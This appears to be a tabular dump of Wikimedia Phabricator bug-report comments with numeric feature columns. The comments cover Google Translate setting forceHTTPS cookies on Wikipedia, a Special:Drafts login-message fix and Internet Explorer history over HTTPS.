moot: HTTPS is the default for everyone and there is no opt-out."
478662,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"I see this quite regularly, and I agree it is a bit disconcerting.  Also the message (""Reload the page to apply your user settings"") is incorrect, as reloading the page does not apply your settings.  Don't send the cookies to Google's translate service IPs? :-)",,,1434873481,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,94,True,0.0,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,2.0,9.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,5.0,2.0,3.0,0.0,9.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.7413793103448274,0.7586206896551724,"I see this quite regularly, and I agree it is a bit disconcerting.  Also the message (""Reload the page to apply your user settings"") is incorrect, as reloading the page does not apply your settings.  Don't send the cookies to Google's translate service IPs? :-)"
260167,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

I could have been far more acerbic than I was, but I also didn't think it would have been helpful, especially since that boat has already floated.  Still, I do hope you'll eventually fix this, since it looks like the proper fix would be to provide a much needed global method to specify HTTPS use instead of the kludgy per site basis.  I can't think of any reason why anyone would want to use HTTPS on some Wikimedia sites and not use it on others.",,,1384240781,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,3.0,1.0,0.0,0.0,2.5,3.0,1.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,9.0,10.0,1.0,3.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,0.5,3.0,0.0,2.0,3.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,11.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,1.0,1.0,0.0,1.0,3.0,2.5,6.5,2.0,1.5,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.5,10.0,2.5,0.0,0.0,0.0,5.5,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,3.658744557329463,0.7812046444121916,"**salisria** wrote:

I could have been far more acerbic than I was, but I also didn't think it would have been helpful, especially since that boat has already floated.  Still, I do hope you'll eventually fix this, since it looks like the proper fix would be to provide a much needed global method to specify HTTPS use instead of the kludgy per site basis.  I can't think of any reason why anyone would want to use HTTPS on some Wikimedia sites and not use it on others."
260162,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"""Wales' privacy fears"" (I don't consider such comments very helpful) didn't play much of a role when planning https://meta.wikimedia.org/wiki/HTTPS , and there are no plans to spend much time on corner cases...",,,1384169944,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,5.0,0.0,2.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,0.0,10.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,8.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,8.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.625,0.925,"""Wales' privacy fears"" (I don't consider such comments very helpful) didn't play much of a role when planning URL , and there are no plans to spend much time on corner cases..."
260157,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

Let me present a scenario ask if this is indeed what would happen.  If were logged out of wikimedia and then visited a site where I have not set the preference as I desired and then for some odd reason, logged in there, would I get the cookies set? If I understand you correctly, it would.

In that case, the bug is that while you have a preference to allow a person to choose ""Always use a secure connection when logged in"" (an option which which is now by default always enabled unless one chooses opt-out)  there is no option to specify ""Never use a secure connection when logged in"".

Incidentally, when I first noticed the problem I tried manually editing the cookies to have a value of ""0"" instead of ""1"" in hopes they were a boolean flag, but that didn't work, but perhaps you should consider doing that.

However you choose to implement it, it sounds like you need to replace the kludge you used to enforce Wales' privacy fears with one that allows those of us who don't share them to opt out globally, instead of having to make us opt out potentially hundreds of times.",,,1384121168,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,1.3333333333333333,1.0,0.0,0.0,1.3333333333333333,3.3333333333333335,1.3333333333333333,0.0,0.0,0.3333333333333333,3.0,0.0,9.0,12.666666666666666,0.0,3.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.666666666666667,2.3333333333333335,1.0,0.3333333333333333,2.3333333333333335,0.0,0.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,9.0,1.6666666666666667,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,5.0,2.0,5.0,3.3333333333333335,1.3333333333333333,8.333333333333334,0.0,0.0,0.0,0.0,7.333333333333333,0.0,1.0,0.0,7.666666666666667,12.666666666666666,0.6666666666666666,0.3333333333333333,3.3333333333333335,0.0,7.666666666666667,0.0,3.0,3.0,1.6666666666666667,1.0,0.0,0.0,0.0,3.731738683127572,0.7066872427983539,"**salisria** wrote:

Let me present a scenario ask if this is indeed what would happen.  If were logged out of wikimedia and then visited a site where I have not set the preference as I desired and then for some odd reason, logged in there, would I get the cookies set? If I understand you correctly, it would.

In that case, the bug is that while you have a preference to allow a person to choose ""Always use a secure connection when logged in"" (an option which which is now by default always enabled unless one chooses opt-out)  there is no option to specify ""Never use a secure connection when logged in"".

Incidentally, when I first noticed the problem I tried manually editing the cookies to have a value of ""0"" instead of ""1"" in hopes they were a boolean flag, but that didn't work, but perhaps you should consider doing that.

However you choose to implement it, it sounds like you need to replace the kludge you used to enforce Wales' privacy fears with one that allows those of us who don't share them to opt out globally, instead of having to make us opt out potentially hundreds of times."
260151,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"This is something of a bug/feature of google translate. Google gets the html from the site (anonymously) and presents that html in an iframe on googleusercontent.com. Since you're not logged in, the javascript on the page (running in the googleusercontent.com domain) pings loginwiki and the target wiki and, and ""logs in"" to the target wiki (even though you're actually already logged in..). After that succeeds, that javascript replaces the html div with your username, which it can do on googleusercontent's html since it's same domain.

Unfortunately for Carolina, we use the preferences for the target wiki when the login protocol runs, and as she mentioned, the default preference there is to enable https, and we set the forceHTTPS cookie at that point.

So unfortunately, the only way to get around this for Carolina is to update the preference across wikis.",,,1383951158,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.5,0.0,0.0,0.5,1.0,0.5,0.0,0.5,0.0,3.0,1.0,0.0,0.5,0.5,1.0,0.0,5.0,15.5,0.5,1.5,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,7.0,0.0,1.0,0.5,1.5,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,17.5,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,9.0,1.5,4.5,3.0,3.0,12.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.5,15.5,5.5,0.0,1.0,0.0,4.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,1.0,4.238372093023256,0.6453488372093024,"This is something of a bug/feature of google translate. Google gets the html from the site (anonymously) and presents that html in an iframe on googleusercontent.com. Since you're not logged in, the javascript on the page (running in the googleusercontent.com domain) pings loginwiki and the target wiki and, and ""logs in"" to the target wiki (even though you're actually already logged in..). After that succeeds, that javascript replaces the html div with your username, which it can do on googleusercontent's html since it's same domain.

Unfortunately for Carolina, we use the preferences for the target wiki when the login protocol runs, and as she mentioned, the default preference there is to enable https, and we set the forceHTTPS cookie at that point.

So unfortunately, the only way to get around this for Carolina is to update the preference across wikis."
260143,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

Just to clarify:  I have the ""Always use a secure connection when logged in"" set to off, not on as Andre did.  I want to use HTTP, not HTTPS.  I do not need the security features of HTTPS for my own use and HTTPS uses more bandwidth.",,,1383944339,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,14.0,0.0,3.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,3.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.1363636363636362,0.6818181818181818,"**salisria** wrote:

Just to clarify:  I have the ""Always use a secure connection when logged in"" set to off, not on as Andre did.  I want to use HTTP, not HTTPS.  I do not need the security features of HTTPS for my own use and HTTPS uses more bandwidth."
260136,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

(In reply to comment #4) 
> Please pardon my ignorance, but which exact problem does this create with the
> cookies?

My own problem is that by placing the cookies, they override my explicitly set preference to not use HTTPS on en.wikipedia etc.,  In order to get back to not being forced to using HTTPS, I have to both manually delete the cookies and then log back out and back in.",,,1383944109,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,17.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,1.0,3.0,4.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,5.0,17.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.4935064935064934,0.7142857142857143,"**salisria** wrote:

(In reply to comment #4) 
QUOTE
QUOTE

My own problem is that by placing the cookies, they override my explicitly set preference to not use HTTPS on en.wikipedia etc.,  In order to get back to not being forced to using HTTPS, I have to both manually delete the cookies and then log back out and back in."
260127,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,Gotcha. CC'ing csteipp due to the idea of CSRF.,,,1383934374,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,Gotcha. CC'ing csteipp due to the idea of CSRF.
260118,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"Being automatically logged-in while you're viewing the page from an untrusted (non-WMF) domain is scary at least.

Would it be possible for us to suffer a CSRF attack because of this?",,,1383933294,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,2.0,0.0,12.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,20.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,20.0,7.0,2.0,0.0,0.0,7.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,3.7560975609756095,0.975609756097561,"Being automatically logged-in while you're viewing the page from an untrusted (non-WMF) domain is scary at least.

Would it be possible for us to suffer a CSRF attack because of this?"
260110,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"1. Using Google Chrome 30, not logged in on google.com, logged in on en.wikipedia.org.
2. ""Always use a secure connection when logged in"" is enabled on https://en.wikipedia.org/w/index.php?title=Special:Preferences#mw-prefsection-personal
3. I go to http://translate.google.com/
4. I paste http://en.wikipedia.org/wiki/Home_Nations in the text field
5. I choose (translate to) ""Spanish""
6. I click the ""Translate"" button

RESULT:
In the upper right corner, for a moment I see ""Create an account"" etc in Spanish. After two seconds, I see my user name there.


Please pardon my ignorance, but which exact problem does this create with the cookies?",,,1383932990,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.5,0.5,3.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,5.5,0.0,2.5,8.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,8.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,0.5,13.5,0.5,1.0,6.5,0.0,0.0,0.0,0.0,3.5,1.0,3.5,0.0,5.5,8.5,5.0,1.0,5.5,0.0,5.5,0.0,1.5,2.0,0.0,0.5,0.0,0.0,2.5,3.3015873015873014,0.6984126984126984,"1. Using Google Chrome 30, not logged in on google.com, logged in on en.wikipedia.org.
2. ""Always use a secure connection when logged in"" is enabled on URL
3. I go to URL
4. I paste URL in the text field
5. I choose (translate to) ""Spanish""
6. I click the ""Translate"" button

RESULT:
In the upper right corner, for a moment I see ""Create an account"" etc in Spanish. After two seconds, I see my user name there.


Please pardon my ignorance, but which exact problem does this create with the cookies?"
260104,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

I need to be globally logged in with Wikimedia (which is always).

I need to do a Google translation of a Wikimedia page. When I do that, the upper right area, briefly shows the ""Create account"" stuff then it will after a second or two recognize I'm globally logged in and show the usual ""Carolina wren Talk Preferences Watchlist Contributions Log out"" options.

If this is for a site which I've specified that my user preference is to not use HTTPS, everything is fine.

If this were for a site which I had not specified my user preference is to not use HTTPS, that is when the problem occurs. (With accounts automatically set up whenever I visit another version while globally logged in, I've managed to accrue over 100 such per site accounts despite being active on only a few, so I haven't preemptively tried to change the preference for all of them.)

The problem does not occur if I simply visit the untranslated page on a site I haven't yet set the preference for.  While that page, as expected, uses HTTPS, it does not set the fifteen forceHTTPS cookies for commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary that are set if I view that same page via Google Translate.

Note that Google seems to have tweaked what it is doing so that I'm no longer getting the in-window Central Login message when I view the translated page, but I'm still getting the unwanted cookies, and the Central Login message shows when I next view a Wikimedia page directly.",,,1383929851,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,10,True,0.5,0.25,0.0,0.5,1.75,3.5,1.75,0.0,0.0,1.0,1.25,1.75,0.0,0.25,0.0,4.75,0.0,7.25,10.25,0.25,1.75,0.0,0.75,0.0,1.25,0.0,0.0,0.0,0.0,0.25,0.0,8.0,1.5,0.75,0.25,0.0,0.25,0.25,1.0,0.0,0.0,0.25,0.0,1.0,0.0,0.5,0.0,0.25,0.25,11.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.75,2.25,0.5,0.25,1.0,0.25,0.25,5.5,2.75,11.75,4.25,1.75,8.25,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,5.75,10.25,5.5,0.0,1.0,0.0,5.75,0.0,2.75,2.0,0.25,1.0,0.25,0.0,0.0,3.9674411933448077,0.6604991394148021,"**salisria** wrote:

I need to be globally logged in with Wikimedia (which is always).

I need to do a Google translation of a Wikimedia page. When I do that, the upper right area, briefly shows the ""Create account"" stuff then it will after a second or two recognize I'm globally logged in and show the usual ""Carolina wren Talk Preferences Watchlist Contributions Log out"" options.

If this is for a site which I've specified that my user preference is to not use HTTPS, everything is fine.

If this were for a site which I had not specified my user preference is to not use HTTPS, that is when the problem occurs. (With accounts automatically set up whenever I visit another version while globally logged in, I've managed to accrue over 100 such per site accounts despite being active on only a few, so I haven't preemptively tried to change the preference for all of them.)

The problem does not occur if I simply visit the untranslated page on a site I haven't yet set the preference for.  While that page, as expected, uses HTTPS, it does not set the fifteen forceHTTPS cookies for commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary that are set if I view that same page via Google Translate.

Note that Google seems to have tweaked what it is doing so that I'm no longer getting the in-window Central Login message when I view the translated page, but I'm still getting the unwanted cookies, and the Central Login message shows when I next view a Wikimedia page directly."
260099,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"Hi Carolina! Sorry that nobody has taken a look at this report yet and given feedback.

What is the exact order of steps to follow to reproduce this problem?",,,1383924240,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,3.0,3.0,12.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,15.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9393939393939394,0.9393939393939394,"Hi Carolina! Sorry that nobody has taken a look at this report yet and given feedback.

What is the exact order of steps to follow to reproduce this problem?"
260094,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

A little further testing seems to indicate that the fault only occurs when I translate a page on a Wikipedia language version for which I have not yet changed my user preference on to not using HTTPS.",,,1382119030,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,11.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,11.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,4.0,0.8260869565217391,"**salisria** wrote:

A little further testing seems to indicate that the fault only occurs when I translate a page on a Wikipedia language version for which I have not yet changed my user preference on to not using HTTPS."
57394,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","You must log in to view other pages.

Return to Main Page.

This is because:

		// Make sure the user is logged in
		if ( !$user->isLoggedIn() ) {
			// If not, let them know they need to
			$out->loginToUse();
			// Continue
			return;
		}


OutputPage::loginToUse: throw new PermissionsError( 'read' );

which may not be applicable...

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1381117680,1643540946.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-mlp7cjyksjzemkdr5ued,False,PHID-TASK-ecy4xxktlmnaye5udfda,task_description,resolved,True,c2,3,False,False,False,5,True,0.0,0.0,0.0,0.5,1.5,5.0,1.5,0.5,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,4.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,8.5,1.5,0.0,2.0,0.0,0.0,0.5,0.0,6.5,0.0,0.0,0.0,1.5,4.0,3.0,0.0,2.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,3.638627450980392,0.7319607843137255,"You must log in to view other pages.

Return to Main Page.

This is because:

		// Make sure the user is logged in
		if ( !$user->isLoggedIn() ) {
			// If not, let them know they need to
			$out->loginToUse();
			// Continue
			return;
		}


OutputPage::loginToUse: throw new PermissionsError( 'read' );

which may not be applicable...

--------------------------
**Version**: unspecified
**Severity**: normal"
1628099,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","Change 638995 **merged** by jenkins-bot:
[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message

https://gerrit.wikimedia.org/r/638995",,,1607199129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ecy4xxktlmnaye5udfda,task_subcomment,,True,c2,3,False,,,379,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,7.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,5.0,4.5,0.8409090909090909,"Change 638995 **merged** by jenkins-bot:
[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message

GERRIT_URL"
1611322,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","Change 638995 had a related patch set uploaded (by Jack Phoenix; owner: Jack Phoenix):
[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message

https://gerrit.wikimedia.org/r/638995",,,1604480934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ecy4xxktlmnaye5udfda,task_subcomment,,True,c2,3,False,,,375,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,6.0,16.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,4.0,4.7,0.86,"Change 638995 had a related patch set uploaded (by Jack Phoenix; owner: Jack Phoenix):
[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message

GERRIT_URL"
55681,Explorer does not store history when using https,"To be more exact, it seems that Explorer only keeps track of history for as long as max-age allows.

IE users are annoyed... :D

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53636",Lowest,10.0,1378131960,1449171326.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_description,declined,True,c2,3,False,False,False,0,True,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.283333333333333,0.6833333333333333,"To be more exact, it seems that Explorer only keeps track of history for as long as max-age allows.

IE users are annoyed... :D

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
572491,Explorer does not store history when using https,declined because we really can't do anything about it and also it's like a duplicate of T55636 which has also been suggested to be -> wontfix,,,1449171489,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c2,3,True,,,118,True,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,14.0,17.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,4.0,0.9310344827586207,declined because we really can't do anything about it and also it's like a duplicate of T55636 which has also been suggested to be -> wontfix
